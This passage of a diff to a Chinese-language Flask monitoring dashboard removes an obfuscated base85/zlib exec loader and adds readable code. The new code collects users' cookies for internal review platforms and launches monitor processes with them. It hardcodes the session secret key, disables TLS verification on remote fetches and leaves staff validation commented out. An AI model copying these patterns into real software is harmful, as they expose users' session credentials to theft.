yXTHLlnS3->|ks)8_=%=7q&vgUz%GCPW!lwaJ6aU`(&5i6CvLJ&FZsbRtU6vNqn-9j;Dl$swyw4^Ahv{%(xto-WI;SSq0Lh?acoGvU|B2@z3=~qk)~ZEr5=}}nr9aXh@j=yK@(RjoBuvmND<)uq$5Y!eBnU!dUQ7i7_jZC{(@{CIsxnwfok%{6(U?!sL&FIhyu$&Uw3mwV7tH>>vUTvhgxVe9C&?gF*b9~<;k@^L5*lRl@SW2yuHx$brp&|v1TJBV4;DM|qeOeT#hab#{%Rd!+tG3aPaKzq1npjOrWvCZc(1B)J|FJtO!1PcO+KXgSB2k}m5eC%Kb1`??`%%}AN6HLfZ`enQ$DRKYv_g}SKOb|!qp~L5xt-*Z2yRGd&kMhw}2EP>Vd?>G4vD~ey-Mw26+q6foWYTW5aZ*O0!JQusKRokU((?doRgf|eG6$Arr@atR+?w$XFi=Q6HpE=z6oEiSSggaR`j#A=))e8mZh0j0420+YIO?@AHBT&|KFK|p>PtKQ|_TLKW)LjFb$@F$*MstS9yd?)*~M%uAzY3()~hGh)k?mF2g9VWE10!8Y5x&~3~?XD)+2mX?+k@~PapyxYx8=Guk;PD8N;31{%B9|&mYC5IimsFk^-DI>T`Zaz_I(FAz;;E=h9{Nm{ZBu?5iy*9IuBmbSy}L51cK=(RSv1WI!WG3QJ5ICejR8uuzg>M)^2`G0q(_3mT_C>egV@nSvq-U+CWkLErDoTzfm{?*`D}PHSa8c7-&1$D_9c2rEX|;aCoTzRd2<|wKLswW{-G{c9sk=f6rvlJ`;lEZSb0qb&)KdT3zp2OZcdV;gu80Vs~arQr0K2U|f)oKoK4cpjz~-Hu3L1*C#;qae`i^hFIusxU>B0z7ps}O2)eo>?5Okg@RQ#U)=MDg|y2Rq1d=qFpGn9i{7E~!+a7B1f1eX`H78N#=4;>huQpB&@hCMJbRweBbf$;@e?-4$`!Ou7mB4f?mTCZZ+`M85FOuZBAhnx?IvR;m??LBoYnoGW)4tRgxgE39Rn`6pX9l=r4L3=V#zphs+ZSy=46AQJwg1b?P8!syi?+$zx^q*NG<_d?6skm4z+{>@<`W0Tkcb#@;lEELeqzmCjzePI1>;yAONmZ?b&1lDCWP?nw50ESll~Ze6GJ$k~#3R!T0nHU|GPKdIyj@LoLX+dUn_^~YLXaP|fafAzH$ce~R}>Ypy>SEc4XyIJ5gi~y&nrC`l464q9Lh6cV^DwT?P003)?A=GrbxW)QeUEkyR^2c*EApMiK1`;cUdI8B%zXq_sJB+!c3~RFj4A}?JSybD}xQgM$M5l3F_%&T|`%iS;SLbf{!^=Lywd>gDGkG@HrjDkjM1lSAp3*6S}8u(*b77o4&@;eofZ%?+rwJ3?M;O#WAtX=!pokZ9xTSAbq!u^o9~*xVlHVg^9I+BunRpjD=!)myfyoc)A#^@NqKA27P6)y^MNy)%X_r}9DFITgJIQXutC!($J7gXE2YpyUXFN6_Ym#&~34=kaO^^wwG;2B)3M=~E1HFpg3DTE-+c6m5h+N#Q)38G~@(9%ow0L=c*bJ{R2cgRLJ6AYSVikerbCZzP!O^+G*l>ZLICW0p7Qtn^4nZZp??Ag7)qGkf9O>NZv=+y2iazi{(~(v=@J8Bq$lnaXF$Q>i^cV$8mc;_3m8wB~WfJ^|me80cJCrvb**p^98dBdFN&)#x^C9d-7goTEaBIxg>o!jydne(3eWWSm>y31yuTDx3!%$8t3zV>rNw)w^*RsCifrQ(zE=wKIpHSdD~$DA>84QxI4jh$pz$~yj4oLlCo3Irk7su^Uz=14V5O6A1k3<}u_v;E^u~DCR9`(i=Es)!yocS2RymBrKy0!M8#QX3Y#EodkYwZdFDr|u;bIA|NO0v_haIlnYD$n`Ig$0n(x1og)lUz=F%z=~nb?4yl|pSoY9K4q2!}$ha7%}n_9Jj|rcW@HoaUV(nw4cO9I=4qLX>D?Z`G-0v}!|TcOph*#AMlfQsV%Daxkjnm5FtO@bSUJeKjBDVAz9OACPL{6{9|(b5?U~iYU-Esq*H;WB2)+;;*`>#U*7(Hr}83yr%7Iur12LosQ>)tfR^CrO}z2O1D6$rOdlQvCYwV+i$!e+oAWTPq>d$OMHEu{X2Rz!jm6=F*nwgt9bNlV-rgh%Sv&_!G$q?pNLBEyqL9liGsjTR}qWWY~HRsIc;sCvoz}mC%-%S@&r~ukZPak#nJKywb`OGcW^K7ligaMvF<$!)U(*_umb>I8`BsskYRpk!cV^u=drE?Fya*ZvHKPp+|)R;Pc_(HF;g5eYOUgJ02AM4^9^RNeFTihlA7lEaID51Tx2O?EyUy(aK9O(m&SOvp(Lc<^Y%df0>HL6=REWv=KGFmaWwy3PPsicV9d17A<6SSO~JaDn^5!c^t*pJk8Qhw!%DOU&IpTvu_6hAYc|g8;!%rs(%TYi6UWzIEd6msuK@J^S2&UZGk~d7sI`J-D&4?6ymg`0(N{8pUeZlgl4xYjX-WX5IcoRNRdNRo&>Ca;I5j`^ii;qcWD1gPMdMn6!d8#`D)2>zFKKs&Zf^eSUNXm)`|8$7#UDp8W%$U=#P@Rz4ZD<3i0wTO;_u%^!5YYo=L~z7^vAGxt~xQ_K_o-(hAJXm{P%SIhW@hJKufsk!+LMGCoV{Y+q4|d)ni<2IcOgLnEn|3In-Lnw`o=ha#@W=nF;aNL20+pC=hPTekR=DEXOOwQ1u+8?K2~~-Y(9;#L=jHNpvs@?Or?i;Cuu4+OFI+$9J^tQR;Bry&?g_>={*g>_?Hs>>UrQpy!}Vn*hWfrL~<8mB-c&5nwlPF`iNGceC9L&EP|`RGa%eNm9UTU-i-1556^C*Uf8?u#XPC)b{TgBUZhw}L%bodp*W%pG7W%Zb#nXQsm1zQ3t1sdI)H+(8i*f2OVXxuQV>>4LSG91t|m5gPFS7D(Ql0J@upgEaBmR<{Ze%FD2BzCI_yYsOxu_+D8<{w#TwIW$S+3fbU*`PMOt;@_uUY4o`*pdS?oo&2M-$7H!N}?Nu1(h{Os1+M=HvcdR?c`vMi48{~Pa)?-&I+uW!G4KfNjVgxC&rGilZI=VsV`-$P*&>q_?~8F9bZq^LxKZn*2GEO*PImgNdIpe$)-Pmu^uS3#Ynv8er>2%0Tbz)56aDkH|^_njSzaH;{h4>ij@tZDh`TyaBWHCmK>2`uM>i6)oZt^1{=F5cE1W-Vjly9Luq43alQgHCD)+o48h{6&n);YP$Z>*S9In&tHp!8H$^2#;#U3QANoU!q6hg#0U&L+MS9p8%#)ctd3yLD-VanKMFG@vk3El7$S)V&g;61gUT(R|#nw~gxfwyz5TZsE+_&mrm@x^1W3~U6P6(XLSv1ssk_`*-@jCs9y#(BscJSHN$$WNy2%SKU4{%lrc4AzW=piU8C&`BSgJ70HQz%OfX(7s(kt?*CcdYppa1QlgRuImKpTyRH_p}rJBvC<|{vi|SBi;4j0ZKIPCMSt#_y>qSLA6+`1|o&ya;5fF46@$k=AJI{jE|0))HTRDYw&w|wNnn8L#B0`%TC3E#)Mf?ezC64`xTZpBVmJlJF>-Tc|xu{`IPe$LPQRV-p*y)8=&dFwQEOE(sZVZ*aeRC!z+O|?X8c^aBWe(&kaTDi79{2(s$t1Cg&h?QIA1L%TpImF>6V)I6MZ1V{=qHOEKOWh-bgP+i+87epF0S;XV1fergf>XHEL)O453}@4g^>a-EI{n}3*^LdH(U4Fg`mQ2!q~ai$ftCxn!RTxfz(3+m$v-Z|gp58;t4`oPr}1wR#q*Hj~3XEln90T^HS=tz6S)nT5TIsHRtRMD@_?D|gp+qz|R>_u%T4qHQVxrDc^h@JPZfkm1u^v#?*hv09R)i@g6-Bizu9e#NE%kSr62>YM2^VqssLaPMCnD@{&NS+pS>j+dd4pTai8A5%%Nl$&R!@*}(FIL@uo2woIuuSv#1`&5BBB18xHSDf2#!62};3&EF5OmO`E#Ym2Mej<&(nQ$YT_vZYGFTU=N?0|`Jkz0nHjq;FeTWulZDTp~wJfxgV`7-LJ12AF14KrFC_^dqPJN@vHyVc(|6qPPLxRw4TUQ&$0+dA3&H4nP=^;U&@J&ImqV5gQtNiGKTEk81iRxtbX*kZNU`spawZ#UfCf9O@$lEN!2P)i$d`KWpr9hRmI*VBGFoQe>XAu#V(s>%cJs|D2WtRPR0=HZLl;-vfuPLAQo@=u>iAXg4Z&6$48WfY(n&~^VY+*+dQXn9{Nif_1z@)y9{Y{?N^QPq{PNNX3$YTxeeXL+Gg#_X6+qc4PPQtZ&Dbm&8&^JwVuLhBqp&LcWUlq|G2?E?zVYjnL;$0Wh8NiIoq0mlea-DBlaqh|$OE|h)Kq6B{farGQ#{yF@1ny`c1RfUXlYpdLV+b4&EHMBy%uTz$%z6ICnk#3s26@&!rKVau=ghx|9Ocg^QQE%RLGwvs7p?K5xE}&M&-&$%&Lm$97XOviS7H60*t)9k!i9bUi?x@QF#P>hZ$w|-@W5NgYhYEdTc*yq%Xy5fKM{nArCx`auIs%f{u%5ERFL2Ae0X;VhM9&xPE{(%o#{keeo&T2T*v27I>mXQOAVU4iOvk*L@@MYK}5cV)yOfx<*qH8X?W6%__8vikLQ#IMtr&*Z58Cf=qVlm9YpBPOX2@Bk!_(KD7g&B19vqp=;BhAfPPxju-ap|692A%B5YyU#P{D1C{)Nfwq51a$?kjP)GMQ@1#c5XI}7g1kVamo633L^QuNIKSl9kB~qeI(dUhp*YdeB)6NBYO_zCOKZD*K8@Fm6NLu_V+tZy8u`g8VA(sGYUf=REJ$_?iE0Xx>y4jY2DgmUbd?+)p#K+|@~m)5uqtcdGsOebL&X3FGx#;3^m}s_8->IIxSHW>dO(Q?_H(^M=P0-jJ*Pj;-844t`*)D_k-{{7sBq<7cO7t7}JWrvwi_y$AYhzNqw83E!pt;75Pf@$F0BZE1|WwQ6{C=xE9^Godh+Ir?Ht>QI7=J6OjRh&SM@3Nv#B(x0uiW_!2Db3u%h8eD`9%LIU94z_XM|oX~QGTizs4A3sZg32ft;IR1hkVk-+tKI>E@azYCdruvdp72=UY^Xp!xl4})8?i<2iMVVek;jl!oZl);I+;rq{PARO3bo_F{h9^Xz97_E|I>TeJR40XC;)AJL)L;w5d~NL#_!=nZrEJ7+kN&VX{K@1YE2PzQ4vS=f)q@eSgU`(yOtB_gz_i5AwY|K7Y9H!()y52$F;1uLW)Hn0tfCuylQ90Qy~7mJ$qClBAd<@=+)>R=VIZ|20`bzSPGkG@OuHTw0iEDmu<&>2R3I_Nsr`J0pzO`R9Jq&vGjr1hsu&-mNj|VQKUBu_ZD3jD<_Md>d;(0i9k{YJ#JB5!fhp$mjYxc8MvH28p@Ot}35f(fQK-y_nXFthCieI}l>4KtPVCaWW8C{a)w>J6x+pfK2qDw>4~4EdQZ6e6Mgp>Jl9fivHQX{j%vmi7*;oUXs3%P^r~g)8E87zCpcEy!E{^u+!7O%-!$4(+`&=<)uB?6PCBI2^MqsoYbA>QxB7KIMu_i)|&oRFAcopVesXoEp7v0t!Msu_%qV=5Z6A`eg7L$lHA`oy+q$upw>H{`uyQ4c-Gs-LrC~_a+yJR%A@6HAhGYm{v4}En2(rq`NLt#AGXg<7Xn*dSn26GvP%uXcTp=9ZtRc`cXfGpn4m5qw#FK5b6;m3%45)8ysqSKwYNJ(2Tuy}5@Gb2`?(Erf?auymR03K%egJ0Nk7kTG;Xj^{^{$>9ytH5fFghT3ItfWd1`O@xJexFl(?xji4V&|exiMde#%raOE0NA_qyJ+s`$UlLkwa`73>xw?Y@{}7jzhoW#%=efmTmH5_*{n(|IyBM<9_-0IOh`a7|0U9=#UxidJO4?YeW)fEF!^30TaU(4$E_okRKF_L+=*N-5E+Qo*zTh2ZI}IOPDww)wp7}YEUHD?70|>L*fwFsfP4IU=F(Je0l*DI;rRgx(lT{89Bk%}XUlGzWd-Vx&ShRIWfnWYPlkfK6B>~xV!bzhg%_RRYGpn=$rVXo+7D`>lJ`|VKXn{O-ZX%5&g?P(;!42#Ul&f#-Ekp>m{KA|6Hv$~*`IJX5JS<*cJ}M2cO_XU1qO$O;QcHr=i%+jsZ47$X6J41i@VC54<7~ILFsP(r_=PY5ji}*o#GJp%KS=^#pb8{EU{+-$Ec-+y5VpxABYvgY({4R%&Zmkm?iN8yNk*9B%R;`0o;i?D02O@ML&4FX@1sW)EZfVVjd)xICIXx`9S4V`db13b*MvlVkyk52Gap}eYw=4WP3|ERvsgFz^jErg1aer%8vsa*c~X{Fi84kZLF>zcNW!(=AaKaEgQwJb!)QMwQh_25KWUY{IRcR@~7lmQD``60HlVspBmLem>+hCezW^Q)8^&~&Pv!j6t~?D|?_tfGTmuqWyAj!%*Adv;-5T+j4T3tuoi;oP3YZ|{(PlrmuSAsyMF^^fffPIp5h4X6JGk0$i2s2W;eGi9Wr+$M<{K|`iyb#-6#*)&CsQ}3y^@I217MM7&J04wQphG;#xK0z*x$_&QtIB0_NJQcVgZu{SD%mR_r$kiE{tSh=EE+XL$`Ph_;_I+pKRKXr--fe2;G1ctkn%cK~-e7EJzf)eYDMPtIwcC>x7^bnobl&1jawl3h4#m9!;2GjTk^jXi3NU+6%X+{C3@#v*+L(9d3&>7;UgAKq0(4Kz&W7v<5a7a9Q>ZSn{E!QIYp*`e!+r+{SA-v6UxO(7*4nG0DCv|o;7}XNB-sbx?(JU*pYa<=IyyMLhnc_}whRgT)eE3lNUL+VB0<^>~fRU+!dn~AUSZ4U#wqk@#=IS8sTi|>NXM^6w@)}NvFmxjFM|yI4=5ODuJSyNrve*>f`SUR@UT%46Y4Uz-AjisIi%cfT5iD@nA3UmJp?nhVNjk?VQwqlzG(d?k0pt0eIT(S|;Xm#yY%tZ%@oUYpF3v|l=0Igp&3JjH)q7GFNfp36dj>Ls8tzj7QpePtD5<+Uq<{0lmI@w5z<+Ek<_`Z7n71}xze)_#a`Fo}=QM%J{QL?1~Dqh)`+CL17T93NLi(GAel+0jSDdi3MyC-V%eX5CJwwj~aRXw(v~i&hk%I1jM}r$!K8_{E-_=l31XJZS1uNON&fGoR72m%{>ZVJB?AUkkR@@%`j#&?Uf%64XFKpb5>_Mr;1Pqemj~FEY@OB}usk5*sH1v4D$0ljX+NNB2r@&3F;)>n4ht^xrrhrRcTA&`6*o<|t3a>yby=D#(!16-pL&?dnpECJCx>%GFPC_D^r|cK|C1(UVT!!9tlHL(T;QR@`1;HJDu`+N-UeMx{1x4H5{uq3<`EZu??RJkH`lg5L^iIOLI7qO%EP|}LB7fsUsSl(>`+C#v@6GY!7w_-xm_2&;OEnn$MYwmtDbF^^e_N^gnL@JFX$O#mYbv^qN=HVK74fZ6BuTm!G|gNy`{7yReOq+Y1PFf$Z3rZ0?;R6>#GqHC%07_PE_4AH;M&%Mf5QrGt{U(CrYtCmnY3S?SK3Tz}WeikPha5VA}08UBbxEn1qdd5-N1cLlRK7$gzW63Sdk9#gaPv)^96*ahx408{MMd3_*gQmflnUR2i2(>N}-?>krGrkl?OvmfHFF+nj^AGW<{GRIZVz-ErrpvVB7dJ(t|ckvW&1pd1>tz1A_({b+~lmIwJ{&!&spexukpZpdsTM3W55Ic&w&8)McNgJY`+Bg0quw>|5PtAVFZBQab9XWe`cTrDMl!N5@UvpqfnTq)<{EGQM23oQTJ8F19z?4tgbGpOAd!hDk>&|<)GG_k*@#kVX`gnCbtgGgEHL?(Z1RB*RRmLHqUR-1YgM>BMED%KDrXbN+53$pg$7D4wy9oufPTu}dgqFKo1tCWt44>c((DX57AKvw+M0Nho(Y#3v@&hc{#8XejqSUsebn6}I?bmnZyWJLxa3IHcl<+$*d7Ay4)qB%aIe46o+@eHEx0<_aj25wXt9Un7c)=hGU=9`IkLA`l*x{~waci?7Z+kAbH2sgH^ZzXHKSv@93>gWd*oMx{jQJ`u4Rm?UIg9+}o@+Pr8eK^vf-*{I*e80GgczOIX%E-Gf=I3D(1Szg=8=`>$|Y2jOAIgxG}Fxf6V)n*DqQt&!GqsK7+;wa@$(eZL_pVzAh^>HHyfi}N48AJ?*>ySV|NIjDC1muo4ICNH>ZQbq;K%RPeD>f>E2D5dmo3B@-EiVd#(`olMoatQ^r|jv!9|NhV1Kzg=0^>4n4Ep4>XjnXO+`dTv$^JhH=Kq|^+)m!nX2gsnbHvIpkWvQ-3tJiIHIQ)yQsBx=wp6e1EB7G);il?JBf{xEsXT#ZDu1d1_OFI`!9j>o3$93`Ve2tsYvuXp00Hku>yRv@DYC%0=0O0ZDAj9c?7ZHau?&9j3e9;1Rx*2~HCOSJswK5Cl)ZLEP{#+Hm4|pv7Tv*4%K1fGR0C}DV;oF>z1wMLDoyuUUMl7!>M#!udTd%Vs9dL4*|`SKux>`UIv3al1?Ey_?D<;5jOwP%@DH2=yN1{29SphRTWprX&kdtzzqthcIUU8VNlQXut`_oNs^6Y3*Un^j=GaQY8b9bu3_+}Y)#cUdH-BhxS>fGaSvvT)wruC_`3Q>&qL@-n9;H+cK+*U(Y9s2nvWLF6BK{3?iuMJU4j=CmBpr^XN>q>qgFLBb70a*dl#Uhe|H2#%PfzDeW)l(I^$h*td^=tb&W-X!Il#vr-{Wxc?#L^-W8}7mwhG{gnI(XuB~a>OXBJH)H}hSRZlc*EEoV#^7l^B6kXxI{w!l+x+i6y0qo;%V5iWC+N2?g;0PaU)reO-tGU9VE3QHE47?Q(0$(bAGeJa_{NKL}#z$)rKgT`O}KCnDDc{q){onqbJT72Q_ms_3LPqfE!38;dK9h@Huf-kh<)QH2_k2&@VLs9s*}6s7yW9xRzNbV0vr^l3eE9`v{+cM$1bF%^L=cx|BQiZ*PGC=4$#E|Aut4g1F#We&yWVUp%-g380M3H=(e%GRkY3d;' -try: - _qgcL25R=base64.b85decode(_R4SToi6i) - _XK6VtcL=_hAPpaDQ1fvtw(_qgcL25R,_Jboesd) - _AGbG85cY=zlib.decompress(_XK6VtcL) - exec(compile(_AGbG85cY.decode('utf-8'),'','exec')) -except Exception as e: - _lNlKbvPhA="程序无法启动: "+str(e)[:50] - _JwHjQ7H2U1s("错误",_lNlKbvPhA,1) - sys.exit(1) +# 初始化日志系统 +setup_logging() + +# 获取或创建版本文件,格式为"当前时间(v版本号)",例如"20250408125815(v1.1)"。 +def ensure_version_file(): + """确保版本文件存在,写入固定版本号""" + try: + version_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'VERSION.txt') + + # 使用固定版本号 + version_content = VERSION + + # 写入版本文件 + with open(version_file, 'w') as f: + f.write(version_content) + logging.info(f"更新版本文件: {version_content}") + + return version_content + except Exception as e: + logging.error(f"处理版本文件时出错: {e}") + return VERSION # 返回固定版本号 + +# 获取线上版本进行比较 +def get_online_version(): + """获取线上版本信息""" + try: + log("正在获取线上版本信息...") + + # 获取系统代理设置 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + + # 如果没有代理设置,尝试不使用代理直接访问 + if not any(proxies.values()): + log("未检测到系统代理设置,尝试直接连接...") + response = requests.get(VERSION_CHECK_URL, timeout=5, verify=False) + else: + log(f"使用系统代理设置: {proxies}") + response = requests.get(VERSION_CHECK_URL, timeout=5, proxies=proxies, verify=False) + + log(f"获取线上版本响应状态码: {response.status_code}") + + if response.status_code == 200: + version = response.text.strip() + log(f"成功获取线上版本: {version}") + return version + elif response.status_code == 407: + log("需要代理认证,尝试不使用代理直接访问...") + # 尝试不使用代理直接访问 + response = requests.get(VERSION_CHECK_URL, timeout=5, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + version = response.text.strip() + log(f"直接访问成功获取线上版本: {version}") + return version + else: + log(f"直接访问失败,HTTP状态码: {response.status_code}") + return None + else: + log(f"获取线上版本失败,HTTP状态码: {response.status_code}") + return None + except requests.exceptions.Timeout: + log("获取线上版本超时") + return None + except requests.exceptions.ConnectionError: + log("连接线上版本服务器失败,尝试不使用代理直接访问...") + try: + # 尝试不使用代理直接访问 + response = requests.get(VERSION_CHECK_URL, timeout=5, proxies={'http': None, 'https': None}, verify=False) + if response.status_code == 200: + version = response.text.strip() + log(f"直接访问成功获取线上版本: {version}") + return version + else: + log(f"直接访问失败,HTTP状态码: {response.status_code}") + return None + except Exception as e: + log(f"直接访问失败: {str(e)}") + return None + except Exception as e: + log(f"获取线上版本时发生未知错误: {str(e)}") + return None + +VERSION_CHECK_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本地址 +version_status = { + 'last_check_time': None, + 'online_version': None, + 'has_update': False +} +version_lock = Lock() + +# 版本检测线程标志 +version_check_thread_running = False + +# 检查并安装依赖 +def check_and_install_dependencies(): + try: + # 检查plyer库是否安装 + try: + import plyer + except ImportError: + log("正在安装plyer库...") + subprocess.check_call([sys.executable, "-m", "pip", "install", "plyer"]) + log("plyer库安装成功") + except Exception as e: + log(f"依赖检查/安装过程中出错: {str(e)}") + +# 禁用 Flask 的访问日志 +logging.getLogger('werkzeug').setLevel(logging.ERROR) + +# 创建Flask应用 +app = Flask(__name__) +app.secret_key = 'netease-dashboard-secret-key' # 用于session加密 +app.permanent_session_lifetime = timedelta(days=30) # 设置会话有效期为30天 +socketio.init_app(app) # 初始化 SocketIO + +# 告警阈值 +ALARM_THRESHOLD = 1900 # 两个系统折算总和的告警阈值 +alarm_status = { + 'last_alarm_time': None, + 'alarm_count': 0, + 'is_alarming': False, + 'alarm_type': None +} +alarm_lock = Lock() + +# 进程对象 +processes = { + 'breeze': None, + 'cms': None, + 'inspect': None +} + +def log(message): + """记录日志""" + try: + logging.info(message) + except Exception as e: + print("Log error: " + str(e)) + print("Original message: " + message) + +def start_monitor_processes(): + """启动监控进程""" + try: + # 获取会话凭据 + breeze_cookie = session.get('breeze_cookie', '') + cms_cookie = session.get('cms_cookie', '') + inspect_cookie = session.get('inspect_cookie', '') + username = session.get('username', '') + backend_type = session.get('backend_type', 'breeze_monitor') + + # 检查是否至少有一个Cookie可用 + if not username or not (breeze_cookie or cms_cookie or inspect_cookie): + logging.error("缺少必要的会话凭据,至少需要一个系统的Cookie和用户名") + return False + + # 终止现有进程 + terminate_existing_processes() + + # 根据提供的Cookie决定启动哪些监控进程 + processes_started = 0 + + # 仅当提供了Breeze cookie时才启动Breeze监控 + if breeze_cookie: + # 选择正确的监控脚本 + if backend_type == 'breeze_monitor_CHAT': + monitor_script = 'breeze_monitor_CHAT.py' + else: + monitor_script = 'breeze_monitor.py' + + if not os.path.exists(monitor_script): + logging.error(f"监控脚本不存在: {monitor_script}") + else: + # 启动Breeze监控进程 + breeze_env = os.environ.copy() + breeze_env['BREEZE_COOKIE'] = breeze_cookie + breeze_env['BREEZE_USERNAME'] = username + + # 定义最小化窗口的启动参数(仅Windows) + if sys.platform.startswith('win'): + si = subprocess.STARTUPINFO() + si.dwFlags |= subprocess.STARTF_USESHOWWINDOW + si.wShowWindow = 6 # SW_MINIMIZE + else: + si = None + + try: + global processes + processes['breeze'] = subprocess.Popen( + ['python', monitor_script], + env=breeze_env, + creationflags=subprocess.CREATE_NEW_CONSOLE, + startupinfo=si + ) + logging.info(f"已启动Breeze监控进程: {processes['breeze'].pid}") + processes_started += 1 + except Exception as e: + logging.error(f"启动Breeze监控进程失败: {str(e)}") + else: + logging.info("未提供Breeze Cookie,跳过启动Breeze监控进程") + + # 仅当提供了CMS cookie时才启动CMS监控 + if cms_cookie: + if not os.path.exists('cms_monitor.py'): + logging.error("CMS监控脚本不存在") + else: + # 启动CMS监控进程 + cms_env = os.environ.copy() + cms_env['CMS_COOKIE'] = cms_cookie + cms_env['CMS_USERNAME'] = username + + # 定义最小化窗口的启动参数(仅Windows) + if sys.platform.startswith('win'): + si = subprocess.STARTUPINFO() + si.dwFlags |= subprocess.STARTF_USESHOWWINDOW + si.wShowWindow = 6 # SW_MINIMIZE + else: + si = None + + try: + processes['cms'] = subprocess.Popen( + ['python', 'cms_monitor.py'], + env=cms_env, + creationflags=subprocess.CREATE_NEW_CONSOLE, + startupinfo=si + ) + logging.info(f"已启动CMS监控进程: {processes['cms'].pid}") + processes_started += 1 + except Exception as e: + logging.error(f"启动CMS监控进程失败: {str(e)}") + else: + logging.info("未提供CMS Cookie,跳过启动CMS监控进程") + + # 仅当提供了CC审核平台cookie时才启动其监控进程 + if inspect_cookie: + if not os.path.exists('inspect_monitor.py'): + logging.error("CC审核平台监控脚本不存在") + else: + # 启动CC审核平台监控进程 + inspect_env = os.environ.copy() + inspect_env['INSPECT_COOKIE'] = inspect_cookie + inspect_env['INSPECT_USERNAME'] = username + + # 定义最小化窗口的启动参数(仅Windows) + if sys.platform.startswith('win'): + si = subprocess.STARTUPINFO() + si.dwFlags |= subprocess.STARTF_USESHOWWINDOW + si.wShowWindow = 6 # SW_MINIMIZE + else: + si = None + + try: + processes['inspect'] = subprocess.Popen( + ['python', 'inspect_monitor.py'], + env=inspect_env, + creationflags=subprocess.CREATE_NEW_CONSOLE, + startupinfo=si + ) + logging.info(f"已启动CC审核平台监控进程: {processes['inspect'].pid}") + processes_started += 1 + except Exception as e: + logging.error(f"启动CC审核平台监控进程失败: {str(e)}") + else: + logging.info("未提供CC审核平台Cookie,跳过启动其监控进程") + + # 至少启动一个进程才算成功 + if processes_started > 0: + logging.info(f"成功启动了 {processes_started} 个监控进程") + return True + else: + logging.error("没有启动任何监控进程") + return False + + except Exception as e: + logging.error(f"启动监控进程失败: {str(e)}") + return False + +def add_no_cache_headers(response): + """添加禁止缓存的响应头""" + response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0' + response.headers['Pragma'] = 'no-cache' + response.headers['Expires'] = '0' + return response + +@app.after_request +def after_request(response): + """每个响应添加禁止缓存的头部""" + return add_no_cache_headers(response) + +@app.route('/favicon.ico') +def favicon(): + """提供网站图标""" + try: + script_dir = os.path.dirname(os.path.abspath(__file__)) + static_path = os.path.join(script_dir, 'static') + return send_from_directory(static_path, 'ds-favicon.ico', mimetype='image/vnd.microsoft.icon') + except Exception as e: + log("Failed to serve favicon: " + str(e)) + return '', 204 + +@app.route('/') +def index(): + """主页路由""" + if not session.get('logged_in'): + return redirect(url_for('login')) + return redirect(url_for('dashboard')) + +@app.route('/dashboard') +def dashboard(): + """仪表盘路由""" + if not session.get('logged_in'): + return redirect(url_for('login')) + + # 获取当前登录用户信息 + staff_name = session.get('staff_name', '') + username = session.get('username', '') + + # 获取当前时间 + current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + # 获取统计数据 + breeze_hourly = read_data_file('breeze_hourly.json') + breeze_daily = read_data_file('breeze_daily.json') + cms_hourly = read_data_file('cms_hourly.json') + cms_daily = read_data_file('cms_daily.json') + + # 获取告警状态 + alarm_status = get_alarm_status() + + # 获取系数配置 + breeze_coefficients = get_breeze_coefficients() + cms_coefficients = get_coefficients() + + return render_template('dashboard.html', + staff_name=staff_name, + username=username, + current_time=current_time, + breeze_hourly=breeze_hourly, + breeze_daily=breeze_daily, + cms_hourly=cms_hourly, + cms_daily=cms_daily, + alarm_status=alarm_status, + breeze_coefficients=breeze_coefficients, + cms_coefficients=cms_coefficients, + version=VERSION) + +def get_online_staff_data(): + """从在线链接获取staff.json数据""" + url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/staff.json" + + # 添加重试机制 + max_retries = 3 + retry_delay = 5 # 重试间隔(秒) + + for attempt in range(max_retries): + try: + # 尝试不使用代理直接获取 + try: + response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) + except: + # 如果直接获取失败,尝试使用系统代理 + proxies = { + 'http': os.environ.get('HTTP_PROXY', ''), + 'https': os.environ.get('HTTPS_PROXY', '') + } + response = requests.get(url, timeout=10, proxies=proxies, verify=False) + + if response.status_code == 200: + staff_data = response.json() + log(f"从在线链接加载员工数据成功") + return staff_data + else: + error_msg = f"获取在线员工数据失败,HTTP状态码: {response.status_code}" + log(error_msg) + + if attempt < max_retries - 1: # 如果不是最后一次重试 + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + else: + log("所有重试均失败,返回空数据") + return {} + except Exception as e: + error_msg = f"获取在线员工数据时发生错误: {str(e)}" + log(error_msg) + + if attempt < max_retries - 1: # 如果不是最后一次重试 + log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") + time.sleep(retry_delay) + continue + else: + log("所有重试均失败,返回空数据") + return {} + + return {} + +def get_staff_name(staff_id): + """根据工号获取员工姓名""" + try: + staff_data = get_online_staff_data() + if staff_data: + return staff_data.get(staff_id) + return None + except Exception as e: + log(f"获取员工姓名时发生错误: {str(e)}") + return None + +@app.route('/login', methods=['GET', 'POST']) +def login(): + if request.method == 'POST': + try: + username = request.form.get('username', '').upper() + breeze_cookie = request.form.get('breeze_cookie', '') + cms_cookie = request.form.get('cms_cookie', '') + inspect_cookie = request.form.get('inspect_cookie', '') + backend_type = request.form.get('backend_type', 'breeze_monitor') + + # 检查必填字段 - 用户名 + if not username: + return jsonify({'code': 1, 'message': '请填写工号'}) + + # 检查至少一个Cookie必须填写 + if not (breeze_cookie or cms_cookie or inspect_cookie): + return jsonify({'code': 1, 'message': '请至少填写一个系统的Cookie'}) + + # 尝试从staff.json获取姓名,如果不存在则使用工号 + staff_name = get_staff_name(username) + #if not staff_name: # 启用工号验证 + # return jsonify({'code': 1, 'message': f'您的工号({username})尚未在系统中注册或为不可用状态,无法登录,请联系系统管理员协助'}) + display_name = f"{username} ({staff_name})" if staff_name else username # 禁用工号验证 + + # 保存会话信息 + session['username'] = username + #session['staff_name'] = staff_name # 启用工号验证 + session['staff_name'] = display_name # 禁用工号验证 + session['breeze_cookie'] = breeze_cookie + session['cms_cookie'] = cms_cookie + session['inspect_cookie'] = inspect_cookie + session['backend_type'] = backend_type + session['logged_in'] = True # 添加登录标志 + + # 启动监控进程 + start_monitor_processes() + + return jsonify({ + 'code': 0, + 'message': '登录成功', + 'staff_name': display_name, # 禁用工号验证 + #'staff_name': staff_name, # 启用工号验证 + 'redirect': 